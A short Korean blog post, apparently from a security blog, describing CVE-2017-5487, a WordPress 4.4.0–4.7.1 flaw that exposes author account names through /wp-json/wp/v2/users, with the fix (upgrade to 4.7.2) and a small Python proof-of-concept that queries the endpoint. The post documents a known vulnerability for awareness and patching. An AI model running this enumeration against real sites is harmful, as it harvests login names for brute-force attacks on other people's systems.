반응형
취약 환경
Wordpress 4.4.0 ~ 4.7.1
조치 방법
Wordpress 4.7.2 이상 버전으로 업데이트
취약점 설명
CVE-2017-5487은 비로그인 상태에서 글을 작성한 작성자들의 리스트를 확인할 수 있는 취약점입니다. 위험도는 크지 않지만 로그인 가능한 아이디를 획득할 수 있어 Brute Force와 같은 공격에 활용될 수 있습니다.
PoC
해당 취약점은 /wp-json/wp/v2/users 경로에 접근하면 발생하는 취약점으로 공격 방법이 매우 간단합니다.
취약 파일 위치 : /wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php
import requests
import json
url = "http://localhost/wordpress/wp-json/wp/v2/users/"
rep = requests.get(url)
json_data = json.loads(rep.text)
for data in json_data:
print(data)
Python Code를 실행할 경우 아래 사진과 같이 현재 서버에 글을 작성한 계정의 정보를 확인할 수 있습니다.
Reference
'Hack > Web' 카테고리의 다른 글
인증(Authentication)과 인가(Authorization)의 차이 (0) | 2022.06.02 |
---|---|
Server Side XSS (Dynamic generated PDF) (0) | 2022.05.18 |
postman을 활용한 API 진단 시 유용한 스크립트.zip (0) | 2022.05.11 |
Cross Site Request Forgery(CSRF) payload (0) | 2022.05.06 |
[Chrome] 시크릿 모드에서 확장 플러그인 사용 방법 (0) | 2022.04.26 |
댓글